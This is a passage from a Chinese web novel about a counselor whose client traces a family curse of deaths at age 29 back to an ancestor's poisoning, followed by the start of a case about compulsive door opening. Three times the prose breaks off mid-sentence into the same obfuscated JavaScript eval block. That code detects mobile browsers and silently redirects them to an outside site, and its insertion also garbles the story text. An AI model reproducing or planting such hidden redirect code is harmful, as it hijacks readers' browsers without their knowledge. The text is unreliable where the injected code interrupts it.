“我一下子得知,我叫了二三十年的父亲不是亲生父亲,29岁,七月二十七日,我和亲生父亲素未谋面,却有那么多巧合的地方,我都不知道怎么形容这种感觉。” “匪夷所思,难以接受。”我说。 “对,就是这种感觉。”他有些沮丧。 “怎么会是这样?” “的确,这超出了我们理解的范畴,也超出了我们常规的心理学范围。” “其实你现在的父亲仍然是你的父亲,这一点不会改变,你也不必太过介怀。” 他苦笑了一下。 “倒是你现在的状态,似乎跟你的身世有关系,这个必须面对解决的事。” “我就是更不明白这一点,太莫名其妙了。” “嗯,一般人不会碰到这种稀奇的事,不过这在心理学上也有解释,代际传递。” “代际传递?”显然他没怎么听过这么专业的名词。 “这也是有理论基础的,就是一个人的生命历程不是孤立的存在,而是深深嵌入家族、社会乃至宇宙的庞大系统之中,每个系统都存在着隐形的秩序与动力,因此同样这个系统会有某种传承。” “老师,我现在的脑子很乱,能说得简单吗?” 他苦恼地抓了抓头发。 我推了一杯茶给他,思考片刻才说道:“比方说,你是一片树叶,你不可能独立存在,你来自一棵树,这棵树也不是单独存在,它来自一片森林,森林之所以能够生机勃勃存在,是因为有良好的生态系统驱动。” 古人一生有两件大事必做,一是落叶归根,不管走到哪、有何成就,老了都想回故乡;二是认祖归宗,也就是寻觅自己的血脉传承。 “这个理论说明什么问题呢?就是我们除了自己以外,也会受自身生来的系统影响,那就是家族。” 我停顿了一下继续道:“这个理论跟原生家庭有相似之处,但是探索得更深,着眼点更远,希望能为你解开刚才的疑惑。” 卫奕栋皱着眉想了半天:“意思即使我不知道我亲生父亲的存在,但我仍会受来自他隐形的家族系统力量影响。” 我赞许地点点头,他领悟力很快。 “可是,这有什么意义呢?我过得不好对于家族又有什么好处?” “我没办法回答你的问题,不过我倒想起一个电影《寻梦环游记》,可能对你有所启发。” 主角米格生长在一个非常排斥音乐的家庭,可他偏偏极为热爱音乐。 这让他百思不得其解,也让他觉得与自己家里人格格不入。 但他不知道的是,他这个天赋才华其实来自家族的遗传,他的曾曾祖父曾经是一位才华横溢的音乐家。 曾曾祖父离开了家到外面寻找自己的音乐梦想,可是他始终思念家人,因此决定放弃唾手可得的名利,准备回去与家人团聚,这个决定惹怒了他的搭档,搭档谋杀了他,并夺走了他最有才华的曲子,从此成为一代红星。 但是家里人并不知道这一个原因,以为他为了音乐而抛妻弃女,从而不许家里人再学习音乐。 米格尔并不知道这一切,但他内在的基因却在召唤他,因为音乐他踏上了亡灵之旅,最后找出真相。 里面最有意思的一点是关于遗忘的理论:死亡并不是永久的告别,忘却才是。 亡灵的世界靠记忆存在,如果在活人世界里没人记得他,他就会从亡灵世界中消失,这被称为终极死亡。也许每个亡灵都不希望被人遗忘吧。 卫奕栋打了个寒战:“老师,你意思是说我的亲生父亲不希望被遗忘,所以才发生这种事。这有点和我的世界观不符,我以为人死如灯灭,一了百了。” 我叹了一口气:“其实也有点不符合我的世界观,不过从潜意识理论来解释,家族潜意识属于集体潜意识,我们既然会受集体潜意识影响,那么家族潜意识对我们影响得更深也正常。” “遗忘,记忆。”他反复咀嚼着这两个词:“那我应该怎么做?” “说实话,在你这个案子上我觉得自己能力有限,发挥的地方不多。” 我擅长的是挖掘个人潜意识真相。 我想了想,起身从侧柜上拿出OH卡:“我觉得恢复和家族的联结可能有帮助,借由这个卡你可以尽情地进行自由联想,看看是否有什么灵感。” 我随便洗了一下牌,倒扣在桌子上均匀地推开一个微微弯着长蛇似的月牙形。 “闭上眼睛放松你的身体,心里想着你的问题,带着刚才的感觉,随机选一张牌,便是当下最适合你的牌。” 他依然放松了一会儿,然后伸出一只骨折分明的手,指尖在牌上犹豫了一会儿,停留在碗形的中间从中抽出了一张。 “翻开来看看,你看到了什么?” 他低头细看手上抽到的牌,这一张牌的主角是一个小丑,穿着黄色的小丑服,三粒红色的扣子,领口别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826343|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一只灰色的大蝴蝶结,戴着红色的尖耳朵,头上顶着个滑稽的小礼帽,夸张的大嘴巴似笑非笑。 我觉得这是在卡牌里算比较正常的图案了。 卫奕栋看了一会,呼吸却突然变得短促而沉重,手也有点微微颤抖。 我不解地问:“你联想到什么了?” “杀人犯。” 他的声音有些低沉:“一个杀人犯,化装成小丑,隐藏起自己的真面目,猝不及防地把人杀掉。” 我隐约想起,这个内容很像一个很出名的惊悚电影。 不知道是不是因为他低沉和颤抖的声音,联想起这个电影的内容,我感觉自己的皮肤也微微地浮起了鸡皮疙瘩。 室内的亮度像被谁调暗了几度,温度也较之刚才冷了好几分。我不禁望向窗外,窗外仍然阳光普照。 只是被这种氛围感染了,我定了定自己的神思。 “感受一下你的身体,你的身体此时有什么样的感觉?” “很冷,皮肤很冷,好像那层黑雾又涌过来了。” “深呼吸,闭上眼睛,让身体放松下来,你可以感受这个感觉,但允许身体随着呼吸放松下来,你在这里很安全……” 我观察着他的身体逐渐平静下来。 “小丑在你的面前,但隔着一层玻璃,他伤害不了你,你可以问问他是谁,他想干什么?” 他的脸色有点扭曲:“他在我面前咧嘴笑。” 顿了一会又说“他说他要杀人。” “他要杀谁?为什么?” “他要杀很多人,因为他被害了,他要复仇。” “还有吗?” 卫奕栋脸上突然凝固了,然后有一种肉眼难以觉察的感觉在改变。 虽然是同一样的眼耳口鼻,但却有一种陌生的感觉。 此刻,露出一种扭曲的似笑非笑的神情。 又是那种感觉。 “我感到你的愤怒和冤屈,你很生气?”我试探地共情道。 他的眼睛有一种奇异的红丝,像一只杀戮前的野兽。 “你有什么话想说吗?” 石头在地上摩擦一样低哑的声音响起:“我要杀人,那些害我的人全部都逃不了。” “你是谁?” 他却一拍桌子:“我要杀了他们。” “你是谁?”我固执地问。 他突然抱着头:“我是谁?我是谁?啊,我不知道,我要杀了他们,是他们害我变成这个样子的。” “冤有头债有主,卫奕栋跟你没什么关系,你去找真正害你的人。”我让自己镇定点。 否则觉得自己也开始要分裂了,越来越开始相信这是另一个人在说话。 “我不记得了,我不知道自己是谁啊。” “既然记不得就放下吧,人死万事空啊。” “绝对不!我要,我要……” 他好似太激动了,突然头一歪便靠在了椅子上。 不会是晕了过去吧,我站了起来想看清楚些。 卫奕栋睁开眼睛突然说:“他走了,消失了。” 我有些难以置信,望着他的眼睛:“你怎么样了?” 他好似还未回过神来,直愣愣地看着前方。 “怎么会这样?他说忘了自己是谁,这和我们刚才讨论得很巧合。” 真不是他自导自演吗? “你觉得你与小丑的关系是怎么样的?” “我觉得他要向我复仇。”他有些发愣地沉默了一会儿说:“就是这种感觉,我觉得自己很愧疚,好像做错了什么事,好像应该向什么人谢罪,我以为……” 他会不会是表演型人格?可是他没必要在我面前表演呀,根本没有可成立的心理动机。 真是混乱又迷惑。 23. 循环05 我揉了揉额头:“听起来这个感觉不像是你的对吗?” “对,但是又像是我的,我也说不清。”他很迷茫。 “当那个感觉或念头出现时,你知道吗?”我再一次跟他确认。 “有一点知道。” 他的表情是如此的真诚,眼神是如此的迷惑,我看不出他有说谎时的特定微表情和动作。 “所以你现在的困惑,是因为有一个非你意愿的声音或想法影响了你。” 他沮丧地点点头。 “心理学有很多方法,觉察和区分不属于自己的念头。就好像你在观察另外一个人,他企图用自己的想法影响你,你既不需要争论也不要附和,因为这两者都会将你卷入情绪,带走你的觉知。” 他微微提起了精神:“我要怎样做?” “想象一下你在舞台下看戏剧,你其实只是一个观看者,观看的人如果有任何的情绪起伏,都不属于自己的对吗?” 他点点头。 “这个需要经常练习,我现在带你练习一遍,回去后时时练习才能保持你和念头的距离。” 他闭上眼睛很专心。 当我不停地掉入恐怖的“兔子洞”时,我也是一次次地用这个方法保持了觉知,不过由于一晚的无眠和身体发烧各种不适,极度疲惫之下才差点失控,可见,如果真有什么乱力神怪,也是因为内在虚弱才能够被侵入。 不过,我这个理论显然无法解释以下这个故事。 上一个世纪,一位平凡的妇人守寡了,在她守寡的第一天开始,一个影响了家族五代的故事即将展开。 在一个偏远的山村。 有几个穿着补丁的乡村妇人在交头接耳。 “哎哟,才守寡不到两个月就再嫁,真是好心急。” “就是,如果先前那个在地下隧道都气得要爬出来了呢。” 被议论的妇人并非不知道人们在背后议论纷纷,甚至自己的亲人也在激烈反对着。 “你这样做不是让我们被戳脊梁骨吗?” “你就这样迫不及待?” 说这话的人是她的前婆婆。 可是她最终收了礼,因为总算还值点钱。 妇人顶着舆论一意孤行,再婚宴办得很寒碜,只简简单单地请亲朋好友吃了一顿饭。 男方很穷,原先娶不起媳妇,终于攒了一点家底,能娶个寡妇也很高兴,况且他们早就相识,是一同长大的伙伴。 七个多月后,她“早产”了一个健康的男婴 此后她又生了四个男孩,虽然生活充满拮据与困窘,但他们同甘共苦,一点点熬过最为艰难的岁月。 日子就像玉米地里破土而出的苗芽,带着对阳光的渴望,每一天都在欣荣向上,每一片新叶都舒展着希望。 可是,就在即将有所收获的时候,这个家族却仿佛被一只无形的手,推入了一个深邃而幽暗的命运漩涡之中。 那潜藏在暗处的神秘力量,宛如一道无法挣脱的诅咒,如同阴云般笼罩着他们。 先是大儿子在29岁那年,毫无预兆地用一根粗大的麻绳结束了自己的生命。 十年后,最小的儿子老五,也是死于29岁,他的尸体河里浮起,但谁也不清楚他是失足还是自尽。 悲痛欲绝的妇人认为是风水的问题,决定举家搬迁到很遥远的外省城。 她膝下还有三个身强体壮的儿子,他们像是被移植的植物,虽历经水土不服的艰难,却凭借着顽强的生命力,在陌生的环境里深深扎下了根,渐渐地开枝散叶,蓬勃发展。 可是再一次,神秘的手没有因为距离的变动而消失,那股力量没有放过这个平凡的家族。 妇人此时已逐渐衰老成奶奶了,她在回首中惊惧地发现,她一手带大的好几个孙子当中,其中又有两位在同样的岁数,并且在同样的日期离世。 尽管那些孙子各有发展,彼此都像砂粒一样,随着时代的浪潮分散到各地。 “我要告诉你一个秘密,我曾犯了一个错误。”妇人在弥留之际对身边的儿子说。 “我想弥补,可是我不知道该怎么做,所以我只能说出来,如果还有这样的事发生,希望你们能想想办法。” “这个妇人,便是我的曾曾祖母。”卫奕栋说。 我们已经有小半年没见过了,他后来又来咨询了两三次,不过没能在潜意识挖掘到什么,只有重要的觉知练习和情绪释放。 “你是怎么发现这个秘密的?”这是一个比小说还惊奇的现实故事。 “你让我练习的方法很管用,但我仍经常会被那种念头影响,同时,我也很好奇,在我身上发生的事到底是什么,我想弄明白发生在我身上以及亲生父亲身上的事。” 于是经过商量后,母亲决定带他认祖归宗。 父亲至亲的人只剩下姑姑了,奶奶已经离世,白发人送黑发人的打击让她郁郁而终。 姑姑嫁到了另一个城市。 再次见面,母亲与她唏嘘不已。 姑姑不胖不瘦,尽管也是中年,但保养得宜,看起来比较年轻。 “你小时候我见过你,不过当时没告诉你我是谁。”她对着卫奕栋说,眼里有着舐犊之意。 他望向母亲。 “我们不想你心里有太多的想法,希望你健康成长。” 是母亲阻止了一切的联系。 姑姑点点头:“虽然我们很想认回你,你奶奶走的时候都念叨着你,可毕竟你父亲发生了这样的事,所以她宁愿你姓卫也要保证你的安全。” 卫奕栋听出了一点弦外之音,她们好像知道了什么。 姑姑的态度也有些奇怪,有激动、热情、开心又似带着深深的担忧。 后来,她给了他一本日记本。 “你妈妈应该也不知道,是我们搬房子的时候,在杂物间发现的。” “我看过这里面的内容,当时想给你妈妈的,后来想如果悲剧不再发生,就让一切都过去吧。” 卫奕栋低头接过日记本,浅杏色的牛皮纸质封面沉淀着岁月的厚重。 “希望能让你了解下你的父亲。”她又意有所指:“或者也能帮你找到一些答案。” 卫奕栋揭开封面,里面的单行纸质有些泛黄了,上面的笔迹干净有力,书写简洁流畅,看出是一位细心整齐的人。 这是他素未谋面父亲的日记。 卫奕栋坐在姑姑的书房里,一页一页地认真地翻看,指尖触着黑色的字迹,他想象着父亲写字的样子,时空好像在这一刻交融。 前面大半本都是一些生活的琐事,很多记录写的是和母亲在一起的点点滴滴,那时候母亲还是他的女朋友,记录更像是一本温馨的恋爱日记,文如其人,他觉得父亲性格很温厚,不像是会走极端的人。 29岁生日是个毫无预兆的转折点。 他平淡温馨的日记突然变得很灰暗。 「今天心情很糟糕,我不知道为什么会涌上那种莫名其妙的冲动,刮胡子的时候竟然会想着给自己一刀」 「我到底怎么啦?阿芳告诉我有孩子的事,我明明觉得自己应该很开心,我的家里人早就打算让我们登记结婚的,家里房间也粉刷过了,这不就是我一直在盼望的事吗?为什么我的心情会越来越不好」 「我觉得自己脑子有病,控制不了自己,每天就想一些可怕的东西,再这样下去,会不会得神经病?像东二街那个傻子一样,我不敢说,我怕家里人担心,怕小芳担心,我快做爸爸了,如果真的是脑子有病怎么办」 「我常常觉得有一种很冰冷的感觉,冷得我想缩成一团的感觉,小芳说我最近脸色很不好,问我是不是太劳累了,我是睡得不太好,那些可怕的想法越来越频繁,好像在催促着我,我很矛盾,我想去看看自己是不是得了病,但万一被送到精神病院怎么办?我的工作可能也会没有吧,一辈子被人指指点点,家里人也会被看不起,谁都不想和有精神病的人交往,好痛苦呀」 「好冷,好冰,声音在我耳边不断地催促,越来越频繁。当那种感觉来临的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826344|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,我真的很想听从那个声音」 日记只记到了7月25日。 卫奕栋呆呆地合上了日记本,他不曾见过面的父亲,竟然以这样奇妙的方式,完成了同是父子的一脉相传。 他下楼找姑姑,姑姑摆下茶杯似等候他多时:“你父亲走得奇怪,所以我就留了心。” 她看了一眼卫奕栋,有些迟疑地道:“你们主动联系我,我非常开心,可是后来算了算你也29岁了,又很担心。” 卫奕栋侧目,觉得姑姑话中有话。 姑姑长吁短叹了一番:“我后来特意回老家便着意打听一番。” 老家已没什么直属亲人,但还有一个比较老的老人家记得这件事,说自己爷爷本有两兄弟,但大哥很年轻就走了。 “大约二十八九岁的样子,他好像比我大五六岁。”老人家回忆了好久。 “那会儿才刚娶上媳妇,所以大家都说是媳妇克他,好好的一个人,怎么就自己喝药走了。” 卫奕栋头脑忽地被什么炸开似的嗡嗡作响,他本以为查到父亲这里就应该找到答案了。 姑姑望了他一眼,看到他脸色惊变的样子,顿时也紧张起来:“怎么啦,难道你也……” 卫奕栋他沉默良久,最终还是和盘托出:“我和他情况有点相似,不过我现在吃着药,又在做心理咨询,情况好一些。” 他们对望了一眼,看到彼此极力掩饰的恐惧。 姑姑惊慌好一会儿又慢慢地镇定了下来:“冤有头债有主,既然我们已经知道了这么多,离真相也不远了,肯定会找到解决问题的方法。” 族谱在颠沛流离的迁徙中早就不见踪影,亲族几经辗转搬迁大多都失去了联系。 事情比他想象得更艰难,可是他的孩子快出生了,他不想这样的事继续发生。 他们托了许多人打听了许久,终于联系上了一个离他们很遥远失去了联系许久的堂系曾爷爷。 他坐飞机按着地址找去,说明了来意。 曾爷爷用他那双浑浊的双眼,奇异地看了他很久,咕哝着说:“原来竟然是真的。” 他说话很慢,含糊不清,不过总算把事情交代清楚了。 20世纪那位再婚的平凡妇人是他的曾奶奶。 假如不是因为后面发生一系列奇怪的事情,也许某个秘密早就被埋入了深深的黄土之中。 老妇人在弥留之际吐露:“我的阿大和阿细,还有小宝和阿果都走得这么蹊跷,同日期同岁数,我不得不怀疑是他。” 她的皱纹如纵横的沟壑,在绵绵阴雨下忧愁的四处满溢流淌。 那个动荡的年代,只剩下三儿子在身边,他很奇怪地问:“阿娘,你在说什么呢?怎么说到他们了?” 老妇人那接近死亡的眼珠直直地望着屋顶,很久都没有说话。 三儿子以为她在说胡话。 老妇人很久才闭上了软塌塌的眼皮,一滴浑浊的泪水从沟壑中流淌下来,她本来含糊不清的嗓子突然变得清晰:“在嫁你阿爸前,我前面还有一个当家的,我是他家的童养媳,他们从小对我很坏,天天不是打就是骂,活干不好没饭吃,话不合心意就挥拳头,我讨厌他。” 那个年代的女子,特别是买来的童养媳,不过就是一个养在家里的奴隶。 她又睁开双眼,似望向遥远的过去。 “他病的时候,我觉得上天有眼,他病了很长时间,我便偷偷和你阿爸好了。” 三儿子这才反应过来,他联想到家族里几个离奇死亡的亲人,顿时起了一身鸡皮疙瘩,心里有一种可怕的猜测像一只虫子七上八下地在心脏上爬来爬去。 老妇人说:“后来我的肚子有了老大,老大是你阿爸的种,迫不得已,我药了他,他走的时候29岁。” “啪!”三儿子听到那只虫子从高空掉了下来摔死了。 老妇人干如爪子的手突然抓住了三儿子:“他走那天也是七月二十九。” 三儿子感觉自己头皮的鸡皮疙瘩全都炸了。 24. 循环06 他和姑姑打电话。 “我这边也一直有在找人解我的疑惑,曾经认识一个很特别的人,你别着急,我明天就去拜访,他是个高人,有很多人身上发生奇怪的事都会找他解决,我以前是以为不会再发生了,没有特意找他解。” 卫奕栋等了两天,姑姑又给他打电话。 “我已经找到了他,他说如果知道来龙去脉,知道苦主的名字,可以帮我们化解。” 他突然想起我讲的电影《寻梦环游记》里面讲遗忘那一部分,像是明白了什么。 曾堂爷爷瞪着疑惑浑浊的双眼,想了半天,从一个看起来有些年代的木箱里,找出了一个发黄的记事本。 “我爷爷把当时的事记了下来,看看有没有那位祖先的名字。” 这次幸运之神终于降临了,那位曾曾奶奶临走之前,告诉了三儿子她先夫的名字,三儿子特地记录了下来。 他们为这位不得安宁的先祖找回了名字,并请那位神秘的人做一些特别的仪式。 我觉得咨询室的温度越来越冷,手臂和小腿裸露的皮肤都蹿起了一层鸡皮疙瘩。如果不是我的来访者亲身经历,我也参与了其中一部分,我会认为这种故事只会出现在小说里。 “如果不是我的亲身经历,我会以为这是电影才有的情节。”卫奕栋好像在读我的心声一样。 我不是滋味的笑着说:“真有点《基督山伯爵》的意思,而且还是灵魂版的。” 他苦笑。 我拿下卡牌摊开给他:“你再看看这张卡牌。” 他盯着那张小丑牌,我再一次慢慢地把他带进轻度的催眠态中。 好半晌他终于说:“我看到他了,他正从人潮中离开,挥手很平静地跟我告别。” 我把热茶推到他的面前。 “看来真的不一样,说实话,你这个案子让我有点三观震碎。” 他捋捋头发,苦笑了一下:“我也是,我觉得自己本来活在一个很正常的世界,有时候会看看一些异怪小说或者电影,但我从来没觉得跟我有任何关系。” 我深以为然,事情不发生在自己身上,永远都会隔着一层雾一层纸。如果我没有经历那个奇异的夜晚和阳台的惊险,我也不会太相信卫奕栋所说的感觉,也不会提醒他去追寻自己的身世。 只是代际传递到底可以延续多长时间?到底以一种怎样神秘的方式传递?而我所遭遇的事情,也是一种代际传递吗? “你说这个事情为什么会独独发生在我和我父亲身上呢?我自问我和我的父亲都不是坏人。”他的眼神里闪烁着困惑。 这个问题相当不好回答,我如何说才能让他从中解脱,不再被影响? 我沉思了一会儿:“你听说过一句话吗,我不入地狱,谁入地狱?” “听说过,来自佛教的思想。”他点点头。 “我对地狱的理解就是一种让人很痛苦的境况,地藏王菩萨这句话带有自我奉献和牺牲的精神,当他看到还有人在受苦,他不忍心自己独自成佛得到极乐。” “那么我愿意将你和你父亲这种遭遇诠释为这种精神,对于你们的整个家族来说,也许你们就是那个具有地藏王菩萨愿力愿心的人,只有最强大者和最有慈悲心的人,才能肩负起拯救家族的命运。” “我想你的存在,对你的家族意义重大,也许你生来就为众人所期盼,你的出生是一个重大事件,你并非芸芸众,无足轻重,你生命的延续,是你家族新的开始新的可能性,是你们改变了这个家族的最终走向。” 后半段开始,我逐渐在用一种游吟诗人般的语调,像春风吹拂着万物般的轻柔语言催眠他。 他微微仰起头,双眸轻闭,脸上仿佛有一朵历经风雨的睡莲缓缓舒展花瓣,所有的纠结与不安都随着那轻柔的舒展,消融在清新的空气里,只余下释然的恬淡。 “老师,谢谢您。”好半晌他睁开了双眼:“我很久都没有如此的放松了,这种感觉实在太好了。” 我摇摇头:“谢谢你的故事,打破了我固有的认知,让我可以从不同维度来看待这个世界。” 也许这个世界上的每一个人都需要不同程度地看见。 “你说得很对,”对面的人微微一笑,不疾不徐地拿起茶壶把烫茶倒在杯子上,激起一层层袅袅的白雾,使得若隐若现的人脸愈发高深莫测。 这是一间禅室,自带一种祥和舒缓的氛围,宽大的木桌和茶椅,最里的墙边是一只檀木高柜,最宽的那格台面摆满微亮的油灯,再上一层供着慈悲济世的佛像,细细直条的香在冉冉燃烧,飘着令人心神安宁的气味。 “你信佛吗?”对面隐在白雾中的人影问。 我不是特别相信,也不是完全不信,我对这个世界的认知,还处在教科书式的正统唯物主义,庄子说过:井蛙不可以语于海者,拘于虚也;夏虫不可以语于冰者,笃于时也; 最近我意识到自己就像那只井底之蛙和夏天的虫子,被空间和时间锁在一个认知的牢笼,困在所谓科学的信息茧房当中。 因此当莎莎说:“我的一位香港客户要到华寺拜访智空师父,他们相交多年,每隔一两年都会见一见,我作陪,你要不要一起去?” “去,最近的确有许多疑惑。” 白雾渐渐散去,一双智慧的眼睛慈爱地等待着。 我想了一会回答:“我从来没有思考过,因为我甚至不太弄清佛到底指的是什么?我认为是一股很强大的力量,能度人苦海,使人得到智慧,可是身边信佛的人只叫我吃素,念经放生,我总觉得那不是我需要寻找的东西,如果只是拘于形式,我觉得我是不太相信的。” “你很诚实。”他的微笑有着洞悉人世的豁达。 “你不是走这条道路的人。” 他深深地看了我一眼:“佛讲的是无我,但你想知道的是,我是谁?” 我内心微微地震动了一下。 如果我不知道我是谁,我怎么放下这个我? “走哪一条道其实最终没有分别,都是想获得智慧,达到明心见性的目的。” “是,但最近发生有些事,我无法用现有的知识体系来解释,这让我很疑惑。” 我把自己那晚发生的事以及卫奕栋的案子说了。 “重重叠叠,缘起缘灭,复如轮转!”他似在感叹又在总结。 “施主的两个案子更能体现出众生在无边无量的世界中循环与轮回,一个是时间的横向,一个是时间的纵向,阿弥陀佛。” “师父,其实我是想知道,我所看到的所听到的,是否真实存在?” “在世俗谛层面上,你所看的所听的,当然是真的,因果律本就是真实不虚。” 欲知前世因,今生受者是;欲知后世果,今生作者是。 我对佛学的术语没听懂,师父轻言细语耐心地解释了胜义谛和世俗谛的两个层面。 我沉默了好一会。 “我仍然有些难以接受,不是难以接受真假,而是难以接受因果轮回理论,因为相信这个,那么在遇到不好的事情,我必须相信自己是邪恶的,自己所遭受的一切,都是一种果报,我对这一点难以接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826345|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受。” 我一直试图弄清楚自己是谁,假如我相信这个理论,那么我必须接受这个我在人生中所遇到的一切坏事,都是一种果报,原因都是我不足够好。 智空师父露出一点狡黠轻快的笑容:“世人通常把因果律理解为因果报应,其实这是有偏差的。” 他徐徐地呡了一口茶,慢条斯理地放下杯子。 “因果律只是宇宙运行的一种规则,就像花开花落,阴阳交替的自然规律一样,有因就会有结果,但并非就是一花结一果如此简单。” “此有故彼有,此生故彼生;此无故彼无,此灭故彼灭,此中谓之缘。如果说因是一粒种子,但仅有种子并不能长出植物,一粒种子到底能不能发芽,生长,然后结果,还需要土壤、水分、阳光、温度等等,这些条件就是这粒种子的缘。” “我们在世间遇到的种种结果,皆得因缘和合而生,因很重要,缘很玄妙,因此施主不能单一反推,正如施主的朋友所遇到的一切,并不是其自身所引发的结果,而是家族的共业,那施主自身所遭遇的一切,又岂非一定是自己所为而定义自己便是恶呢?” 我被这种过于深奥的理论震慑了半晌,只能浅薄地问:“那有没有什么办法,能够阻止一些恶果的发生呢?” 师父摇摇头:“一切随缘,了无牵挂。不要害怕承担结果,果子如若成熟,就让它自然落下。” “那就是接受一切的发生,这样会不会太消极?” “接受是了业,但不再种下同样的种子,就需要积极地走出无明。” 我仍有不甘:“那在我身上发生的事到底是什么?我根本不知道它从何处来。” 师父微微一笑:“你真的不知吗?还是不想知道?” “我真的不知道。” 师父露出一种洞察一切的微笑:“我看见恐惧的阻碍。” “无论那是什么,它不过都在你心中,若能看到缘起,便见缘灭,如不肯见,即不能破。” 余音随着渺渺的烛香烟雾在室内回荡又慢慢地向窗外散发,自然而然消失在空气中与天地融为一体。 出了禅室,莎莎已经转完佛塔回来了,轻轻喘着气,脸色有种运动后的健康红润,像是挂在树上红通新鲜的苹果。 “和大师聊得怎么样?”她一边拿出纸巾擦汗一边问。 “有些懂了,有些没懂,他让我慢慢参悟,如果我完全懂了大概能原地飞升。” “哈哈,大师说话一向如此,我每次都是不懂的都装懂点头就是。” 这种形而上学的东西,虽然好像道理都正确,但明白了是否就能马上解决问题得到幸福呢?其实就像是夜晚的路灯,它仅仅只是能帮人们照明,但走出什么样的路还得是走路者本身。 因果论是过去与未来在玄妙上的无法预测,即使同一个因由,卫奕栋和家族其他早逝者唯一的区别是他幸存了下来,幸存的原因是他在当下觉知并积极寻求解决之道。 当下才是唯一的道路。 我挽起莎莎的手:“还是借了你们的缘,我才能够见上大师一面,走吧,来的时候我看到有一家很好的素菜馆,我们一起去吃素菜吧。” 哲学家叔本华说过:世界上最大的监狱,是人的思维意识。成长就是不断在打破自身的固有思维,也许人生每一个痛苦的点,都在帮助我们扩展自身。有时候我们不一定能够立刻知道答案。 我的问题虽然还未得到解答,但就像智空师父所说的,一切都是缘,缘包含了所有发生的条件,既然问题已经出现,答案也还会远吗? 25. 家暴01 门被打开,又被关上,又被打开,又被关上…… 不堪忍受的门发出了“嘎吱嘎吱”痛苦的抗议声,来来回回像一个心烦意乱的人在原地踱步。 可她的目光是凝滞茫然的,手像被某种固定程序操控,一次次推开,又一次次合上。 “一、二、三……” 空洞的声调平铺直叙得像机械发出的声音。 当数到第十五次时,她的肩膀突然松了下来,整个人像是被抽走了浑身的力气。 终于,这场荒诞的“仪式”结束了。 就像一台卡了程序不断报错的机器人终于被修复了。 她拖着沉重的步伐,缓缓走到房间前。 这无意义又无法自控的重复动作,让她疲惫不堪。 又是一扇门。 再一次,她又开始了这如着了魔的反复动作。 “……十四,十五。” 刹那间,一种难以言喻的痛苦如针般刺痛了她的心,她只觉眼眶发酸,泪水在眼眶里打转,几乎要夺眶而出。 门,像是一道无法逾越的鸿沟。 横跨着两种不同的力量,相互拉扯,相互争斗,相互撕裂…… 她像被堵在这股力量当中,又像被压在夹缝里,消耗,痛苦,抑郁。 “这个症状是从什么时候开始的?”我打量着眼前无比沮丧的女子。 她弯着脖颈,苍白柔弱,像一朵被风雨摧残后的荷花,无精打采,垂头丧气。 面前坐着的这个女子叫张芝芸,31岁,最近得了一种叫作开关门强迫行为的怪症。 “我要疯了。”她抓着手袋,有气无力地说。 一个最寻常的,简单的动作,却让她变得怪异疯魔。 指尖碰到门那一刻,她要把门开开合合,一直数到十五才能停止下来。 仿佛只有这样,才能得到某种未知的“许可”,才能走进家里和房间。 为了少受点罪,她只能尽量减少进出房间的次数。 晚上睡前不敢喝太多的水,担心起夜时,又会重复做同样的动作。 如果半夜又这么来回一趟,睡意便会全无,这会让她更加崩溃。 门,像一个神秘力量的幽灵,潜伏在她的世界里,像要困住她,又像要遗弃她。 “我是不是快要变成个神经病了?”她的眼睛满是灰心失意。 “强迫症在心理学上不算太稀奇,很多人都有某种强迫行为。” 比如刚刚关好门窗,还在反复怀疑是否真的已经关好,于是反复检查,比如刚刚洗完手,却总觉得洗不干净,于是反复洗手。 “强迫症的根源通常是过度焦虑。” 为了减轻这种焦虑的困扰,于是会进行重复性和刻板的动作以缓解焦虑的心情,但又会陷入新的一轮焦虑当中。 “好累。”她的声音低低的。 “嗯,因为有两种不同的声音在打架,一个明知没必要,一个非要这么做。” 她点点头,弯得更低显得更无助。 “可是你刚进来的时候,并没有出现这样的情况,你是对某种特定的门才会这样吗?” 比如材质、颜色或某种样式。 “电梯门会按来按去吗?” 她摇摇头。 “那你碰到什么样的门才会有这种症状?” “家里的。”声音弱弱的。 “什么时候开始的?”我再一次问这个问题。 “十几天前吧。” “那时发生了什么事吗?”我觉得自己像个警察。 “没什么事,我只是搬回了娘家。” “你为什么搬回娘家?”一问才得一答。 她的脸终于抬起来,看了我一眼,迟疑道:“这有关系吗?” “可能有。” 她又迟疑了一会:“我和丈夫郑凯东正在办理离婚。” “可以谈谈你们为什么离婚?” 她有些烦躁,将手袋的拉链拉来拉去。 十五次,停了下来。 “结婚是人生大事,离婚同样也是人生大事,它在生活、情感以及自我认知层面都会给我们造成重大的影响,你似乎很不想谈论它,为什么?这让你感到烦恼吗?” 